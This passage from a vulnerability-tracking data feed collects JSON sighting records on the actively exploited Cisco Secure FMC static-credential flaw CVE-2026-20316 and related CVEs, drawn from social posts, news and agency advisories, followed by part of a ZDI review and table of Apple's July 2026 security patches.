\u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 Cisco \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435\u00a0\u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440 (/var/tmp/license.tmp) \u0432 \u043e\u0431\u043e\u0438\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u0445, \u043d\u043e \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043b\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u043b\u0438 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 CVE-2026-20079 \u043e\u0442 Cisco \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0435\u0437 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2026-20316, \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\nCisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Secure FMC, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f CVE-2026-20079, \u0438 \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0438 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.", "creation_timestamp": "2026-07-30T13:00:05.229893Z"}, {"uuid": "96fb56a1-08a6-4d9f-9a7a-2e058cafb777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrt5bkvhmv2j", "content": "CVE-2026-20316: Cisco's Meek Warning on Exploited FMC Flaw Raises Doubts #Cisco #Cybersecurity #Vulnerability", "creation_timestamp": "2026-07-30T00:04:00.347660Z"}, {"uuid": "a5d23e36-7fdd-44d5-8cb3-76b732fa8a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrt5bmmavr2u", "content": "CVE-2026-20316: Is Cisco's Static Credential Flaw a Failure of Oversight? #CVE202620316 #CiscoSecurity #Cybersecurity", "creation_timestamp": "2026-07-30T00:04:01.972506Z"}, {"uuid": "c47133a9-dd91-4a5e-9c8f-b155ba9fd79e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mrt6r3rxvz2g", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (Jul 29)\n\nCVE-2026-20316 Cisco Secure Firewall Management Center\u306b\u304a\u3051\u308b\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u4f7f\u7528\u306b\u95a2\u3059\u308b\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-07-30T00:30:35.315381Z"}, {"uuid": "0c4833ba-29da-4480-ba3a-84103d78e04e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mrtrf5weaq2q", "content": "CISA added CVE-2026-20316 in Cisco Secure Firewall Management Center to KEV after reports of zero-day exploitation, enabling unauthenticated remote login via static low-privilege credentials.\n", "creation_timestamp": "2026-07-30T06:03:56.840219Z"}, {"uuid": "06bb5c02-ee1c-47e2-be78-b95b379749a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://threatintel.cc/2026/07/30/cisco-warns-of-fmc-static.html", "content": "www.bleepingcomputer.com/news/secu…\n\nCisco disclosed that CVE-2026-20316, a static-credential vulnerability in Secure Firewall Management Center (FMC) Software, has been actively exploited in zero-day attacks. The flaw allows an unauthenticated remote attacker to log in with a built-in low-privilege account and access sensitive data. Although its CVSS score is 5.3, Cisco rated it High severity because it can be chained with other FMC flaws for privilege escalation.\n\nHotfixes are available for FMC releases 7.0, 7.2, 7.4, 7.6, 7.7 and 10.0. There are no workarounds. CISA added the vulnerability to its Known Exploited Vulnerabilities catalog with an August 1 remediation deadline for federal agencies. Organizations should also check logs for indicators such as references to /var/tmp/license.tmp and rotate credentials if compromise is suspected.", "creation_timestamp": "2026-07-30T13:00:39.852906Z"}, {"uuid": "0c786a98-8674-4426-8e60-35b2403c14bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mrubzoitqz27", "content": "Cisco FMC\u3001\u9759\u7684\u8a8d\u8a3c\u60c5\u5831\u304c\u653b\u6483\u8005\u306b\u60aa\u7528\u3055\u308c\u308b(CVE-2026-20316)\n\n\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u5168\u4f53\u3067\u8907\u6570\u306eCisco Secure Firewall\u30c7\u30d0\u30a4\u30b9\u3092\u4e00\u5143\u7ba1\u7406\u3059\u308b\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u3042\u308bCisco Secure Firewall Management Center(FMC)\u306b\u5b58\u5728\u3059\u308b\u9759\u7684\u8a8d\u8a3c\u60c5\u5831\u306e\u8106\u5f31\u6027(CVE-2026-20316)\u304c\u3001\u653b\u6483\u8005\u306b\u3088\u3063\u3066\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068CISA...", "creation_timestamp": "2026-07-30T11:01:44.357692Z"}, {"uuid": "1e5aa3d4-a689-444a-a78c-e7f3cd26ed4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20316", "type": "seen", "source": "https://bsky.app/profile/blindthoughts.bsky.social/post/3mrts5ok3lr2e", "content": "Cisco FMC Zero-Day Actively Exploited: Patch Your Firewall Management Center Now\n\nhttps://blindthoughts.com/cisco-fmc-zero-day-cve-2026-20316-patch-now\n\n#cisco #zeroday #firewall #cisakev #vulnerability", "creation_timestamp": "2026-07-30T06:17:38.062819Z"}, {"uuid": "4634d8b6-0fef-4874-906a-640a6b2dac6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mrucltn7xf2m", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20316, a zero-day vulnerability in Cisco Secure Firewall Management Center (FMC) Software, to its KEV catalog.", "creation_timestamp": "2026-07-30T11:11:53.562020Z"}, {"uuid": "bdb894a3-85d7-4242-9fe3-f8992ea168c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrug5uyb5k2v", "content": "\ud83e\udd16 CVE-2026-20316 (KEV): Cisco FMC zero-day actively exploited. Unauthenticated attacker can access devices via static credentials. CISA adds to KEV \u2014 remediate by Aug 19.\nhttps://thehackernews.com/2026/07/cisco-fmc-zero-day-actively-exploited.html", "creation_timestamp": "2026-07-30T12:15:39.568152Z"}, {"uuid": "fe74f853-b00f-4fe7-abab-a01143668105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mrtt3gehvg2o", "content": "Here we go again with Cisco Secure Firewall Management Center software leaving static low-privilege credentials for unauthenticated attackers to snatch sensitive data. Naturally, this absurd CVE-2026-20316 flaw earned a spot on CISA's catalog because attackers love chaining it to...\n\nRead full story", "creation_timestamp": "2026-07-30T06:34:16.302519Z"}, {"uuid": "e057ce6b-9401-4f1e-8770-9b9248235a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mrud6e6zq62a", "content": "\ud83d\udd34 EXPLOITED\n\nCisco Secure Firewall Management Center ships a hardcoded password that lets a stranger log in with no credentials (CVE-2026-20316).\n\nIt is being exploited now and sits on CISA's must-patch list.\n\nApply the hotfix, then check logs for signs of entry.", "creation_timestamp": "2026-07-30T11:22:14.688528Z"}, {"uuid": "004168c5-82a9-4d0e-b732-e23973e8074c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mrttpxpihx25", "content": "Cisco released patches for actively exploited CVE-2026-20316 in Secure Firewall Management Center, where default low-privilege credentials enable access and potential privilege escalation.\n", "creation_timestamp": "2026-07-30T06:45:47.136693Z"}, {"uuid": "5733128f-b398-4357-971a-de143c00a14f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mrudayujfk24", "content": "Cisco FMC static credentials exploited by attackers (CVE-2026-20316)\n\nwww.helpnetsecurity.com/2026/07/30/c...\n\n#Kyberturvallisuus #ThreatIntel #Haavoittuvuus", "creation_timestamp": "2026-07-30T11:23:45.925129Z"}, {"uuid": "2471f1ad-4f43-44f8-8817-ce3aad872f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/thehackernews/9659", "content": "\u26a0\ufe0f Attackers are exploiting Cisco FMC zero-day CVE-2026-20316.\n\nThe flaw lets unauthenticated remote attackers use static credentials to access sensitive data through a low-privilege account.\n\nCisco warns it can be chained with other FMC flaws to elevate privileges.\n\nHere's what admins should check: https://thehackernews.com/2026/07/cisco-fmc-zero-day-actively-exploited.html", "creation_timestamp": "2026-07-30T07:00:04.662729Z"}, {"uuid": "8d86ee80-c419-440c-9816-e49eb8e0b321", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotto-cisco-2", "content": "Rilevato lo sfruttamento attivo della vulnerabilit\u00e0 CVE-2026-20316, che interessa Cisco Secure Firewall Management Center (FMC), software utilizzato per la gestione centralizzata di firewall e sistemi di sicurezza di rete. Tale vulnerabilit\u00e0 risulta essere sfruttata attivamente in rete, e potrebbe consentire ad un utente malintenzionato di eludere i meccanismi di autenticazione sui sistemi interessati", "creation_timestamp": "2026-07-30T10:00:50.824091Z"}, {"uuid": "f4a1ad2a-50bb-4778-8e3e-7f87222ce036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3mrudqzxuds2b", "content": "CVE-2026-20316 (CISA KEV): static credentials for a low-priv account in Cisco Secure FMC let an unauthenticated attacker log in & read sensitive data. Exploited as a zero-day, chainable with CVE-2026-20079 (CVSS 10.0) for root access. Patch now. Query: product=\"Cisco FDM\"", "creation_timestamp": "2026-07-30T11:32:46.476455Z"}, {"uuid": "1a4a4ec4-03c6-4e5c-9fd0-948033ab293a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mrugrk6iks2c", "content": "Cisco FMC static credentials exploited by attackers (CVE-2026-20316)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/07/30/c...\n\n#cybersecurity #cybersecuritynews #configurationmanagement #vulnerability @cisco.com", "creation_timestamp": "2026-07-30T12:26:45.247917Z"}, {"uuid": "fd462d48-7053-4ea8-b9ce-5d4ddd741cd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mrtozu2oni2t", "content": "Cisco patches CVE-2026-20316 in Secure Firewall Management Center; immediate updates urged to prevent unauthorized data access. #Cisco #Firewall #ZeroDay #CyberSecurity thedailytechfeed.com/cisco-firewa...", "creation_timestamp": "2026-07-30T05:21:49.413996Z"}, {"uuid": "55135aad-334a-459f-9bca-2815f0172899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3mrudqzxuds2b", "content": "CVE-2026-20316 (CISA KEV): static credentials for a low-priv account in Cisco Secure FMC let an unauthenticated attacker log in & read sensitive data. Exploited as a zero-day, chainable with CVE-2026-20079 (CVSS 10.0) for root access. Patch now. Query: product=\"Cisco FDM\"", "creation_timestamp": "2026-07-30T11:32:46.427322Z"}, {"uuid": "ab11a62e-69dd-480e-ba95-b4530ccb5b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mrtp2qgfh62k", "content": "Cisco FMC zero-day (CVE-2026-20316) exploited; patch now to secure systems. #Cisco #FMC #ZeroDay #CyberSecurity #NetworkSecurity #PatchNow thedailytechfeed.com/cisco-fmc-ze...", "creation_timestamp": "2026-07-30T05:22:19.134253Z"}, {"uuid": "29a4fc3b-8933-4819-a245-2b6302b732cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrtc437s4q2i", "content": "Cisco warns that CVE-2026-20316 in Secure Firewall Management Center used static credentials, enabling zero-day access to vulnerable devices. Cisco also patched CVE-2026-20079, a critical FMC auth bypass. #Cisco #CVE-2026-20316 #CVE-2026-20079", "creation_timestamp": "2026-07-30T01:30:24.300452Z"}, {"uuid": "ab0c7627-fcfb-442d-9d6a-6720e6068033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrtc437s4q2i", "content": "Cisco warns that CVE-2026-20316 in Secure Firewall Management Center used static credentials, enabling zero-day access to vulnerable devices. Cisco also patched CVE-2026-20079, a critical FMC auth bypass. #Cisco #CVE-2026-20316 #CVE-2026-20079", "creation_timestamp": "2026-07-30T01:30:24.343274Z"}, {"uuid": "c5e90178-114c-49be-a22c-c53fdc0dd0ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://thehackernews.com/2026/07/cisco-fmc-zero-day-actively-exploited.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a newly disclosed security flaw impacting Cisco Secure Firewall Management Center (FMC) Software to its Known Exploited Vulnerabilities (KEV) catalog, following reports of zero-day exploitation.\n\nThe vulnerability, assigned CVE-2026-20316 (CVSS score: 5.3), could permit an unauthenticated, remote attacker to log", "creation_timestamp": "2026-07-30T07:00:47.992824Z"}, {"uuid": "7b5b92cc-6890-4398-b3ec-baf312ba851e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mru7i2xcem2p", "content": "CISA\u3001\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305fCisco FMC\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u8b66\u544a \u6a5f\u5bc6\u30c7\u30fc\u30bf\u6d41\u51fa\u306e\u304a\u305d\u308c\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81(CISA)\u306f\u3001Cisco Secure Firewall Management Center(FMC)\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3059\u3001\u5b9f\u969b\u306b\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308b\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027(CVE-2026-20316)\u306b\u3064\u3044\u3066\u7dca\u6025\u306e\u8b66\u544a\u3092\u767a\u3057\u307e\u3057\u305f\u3002 \u3053\u306e\u8106\u5f31\u6027\u306f\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u306b\u8d77\u56e0", "creation_timestamp": "2026-07-30T10:16:05.564082Z"}, {"uuid": "92d9a406-40a3-4587-a269-02f33b1ba113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "Telegram/EgieOuj0Qpcu_qVDCJDsW1GdIWBvF4S9c-sOot4e7AR6LQ", "content": "", "creation_timestamp": "2026-07-30T14:00:04.636708Z"}, {"uuid": "aa80534b-18d4-482c-bbd0-2b0890f5d210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/CyberDispatch/998", "content": "Attention to the vulnerability (CVE-2026-20131) in Cisco's Secure Firewall Management Center (FMC) actively exploited by ransomware groups worldwide.", "creation_timestamp": "2026-08-30T00:00:44.343861Z"}, {"uuid": "3bfee68f-d1a3-4189-97a4-73e4800a391c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20672", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/29/the-july-2026-apple-security-update-review", "content": "Welcome to our monthly look at Apple security patches. This release shows that Apple is not immune to the bug apocalypse that is impacting other vendors. Last month, they released 37 unique CVEs compare to this month\u2019s 210. Quite a jump.\nFor July 2026, Apple released 210 unique CVEs across iOS/iPadOS 26.6, macOS Tahoe 26.6, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, tvOS 26.6, watchOS 26.6, visionOS 26.6, and Safari 26.6. Since Apple doesn\u2019t provide CVSS scores or other severity information, we\u2019re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.\n\u00b7      CVE-2026-43818 (ImageIO) \u2013 This bug could allow the \u201cProcessing [of] a maliciously crafted image may lead to arbitrary code execution.\" ImageIO is the classic zero-/one-click remote surface on Apple platforms (images auto-parsed in Messages, previews, notifications), so this is the highest real-world remote-exploitation risk in the release. It\u2019s also present across iOS and all macOS versions. Depending on delivery path, this is the one most likely to be weaponized into a remote foothold.\n\u00b7      CVE-2026-64747 (AVEVideoEncoder) \u2013 According to Apple, \u201cAn app may be able to execute arbitrary code with kernel privileges.\u201d Kernel-level code execution is the maximum-impact outcome on an Apple device: full compromise, defeats the sandbox and most mitigations. It's also unusually broad, shipping to iOS/iPadOS, all three macOS versions, tvOS, watchOS, and visionOS. Local-app precondition is its only limiter, and it's exactly the second stage a remote bug chains into.\n\u00b7      CVE-2026-64767 (afpfs) \u2013 In this case, \u201cA remote attacker may be able to cause unexpected system termination or corrupt kernel memory.\u201d This bug is a network-reachable, apparently unauthenticated path to kernel memory corruption via Apple Filing Protocol. Remote plus kernel is a dangerous combination.  Also, the \u201cremote attacker\u201d versus \u201cremote user\u201d wording suggests no authentication required. This bug affects macOS only, which is the only reason it sits at #3 rather than higher.\nHonorable mentions: CVE-2026-43776 (AppleDouble) and the SceneKit set (CVE-2026-64763/64/65/66) are additional file-parsing paths to arbitrary code execution. CVE-2026-43750 (Wi\u2011Fi) allows code execution out of the sandbox with elevated privileges. And finally, CVE-2026-64696 (SMB) / CVE-2026-43810 (Kernel) are further remote kernel-corruption bugs.\nHere\u2019s the full table of Apple patches and the products they affect:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\nApple Security Updates \u2014 July 27, 2026\n\n\n\n  \n    \n      210Total CVEs\n      9Code Execution\n      26Elevation of Privilege\n      11Sandbox Escape\n      9Security Feature Bypass\n      15Memory Corruption\n      55Information Disclosure\n      2Spoofing / UI\n      75Denial of Service\n      8Other\n    \n    \n\n      Apple security release — July 27, 2026 (iOS/iPadOS 26.6, macOS Tahoe 26.6, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, tvOS 26.6, watchOS 26.6, visionOS 26.6, Safari 26.6). \"Yes/No\" indicates whether each update is affected. CVE IDs link to NVD.\n      \n        \n          CVE ID\n          Component\n          Impact\n          iOS / iPadOS 26.6\n          macOS Tahoe 26.6\n          macOS Sequoia 15.7.8\n          macOS Sonoma 14.8.8\n          tvOS 26.6\n          watchOS 26.6\n          visionOS 26.6\n          Safari 26.6\n        \n      \n      \n      \n        CVE-2026-64732\n        Accessibility\n        An attacker with physical access may be able to access sensitive user data during iPhone Mirroring\n        YesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43749\n        Accounts\n        An app may be able to gain root privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43819\n        Accounts\n        An app may be able to access sensitive user data\n        NoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-64733\n        Accounts Framework\n        An app may be able to fingerprint the user\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64767\n        afpfs\n        A remote attacker may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-23918\n        apache\n        A remote attacker may be able to cause a denial-of-service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64695\n        APFS\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43801\n        App Store\n        An app may be able to access sensitive user data\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43781\n        Apple Account\n        An app may be able to access sensitive user data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64737\n        Apple Account\n        A malicious app may be able to break out of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28928\n        Apple Neural Engine\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-43748\n        Apple Neural Engine\n        An app may be able to cause unexpected system termination\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43776\n        AppleDouble\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43681\n        AppleRAID\n        A local user may be able to read kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43672\n        Assets\n        A malicious application may be able to bypass Privacy preferences\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43763\n        ATS\n        An app may be able to read files outside of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64702\n        Audio\n        An app may be able to break out of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64725\n        Audio\n        An app may be able to cause a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43730\n        AuthKit\n        An app may be able to fingerprint the user\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64747\n        AVEVideoEncoder\n        An app may be able to execute arbitrary code with kernel privileges\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64762\n        AVEVideoEncoder\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64707\n        BackgroundAssets\n        An app may be able to delete files for which it does not have permission\n        YesYesYesYesNoNoYesNo\n      \n      \n        CVE-2026-28849\n        BOM\n        A maliciously crafted ZIP archive may bypass Gatekeeper checks\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43811\n        Books\n        An app may be able to modify protected parts of the file system\n        YesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-64698\n        cd9660\n        An app may be able to cause unexpected system termination or read kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43813\n        CloudAttestation\n        A maliciously crafted app may be able to bypass code signing enforcement\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43797\n        Contacts\n        An app may be able to access information about a user's contacts\n        YesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-64734\n        Contacts\n        Processing a maliciously crafted contact may leak sensitive data\n        YesYesYesYesNoYesYesNo\n      \n      \n        CVE-2026-64746\n        Contacts\n        An app may be able to add contacts without user authorization\n        YesYesNoNoNoYesYesNo\n      \n      \n        CVE-2026-43756\n        Control Center\n        An app may be able to access user-sensitive data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43693\n        Core Services\n        An app may be able to gain root privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43673\n        CoreAudio\n        Processing a maliciously crafted audio file may corrupt process memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43744\n        CoreAudio\n        Processing an audio stream in a maliciously crafted media file may terminate the process\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43803\n        CoreAudio\n        A remote attacker may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43711\n        CoreMedia\n        Processing a maliciously crafted video file may lead to unexpected app termination\n        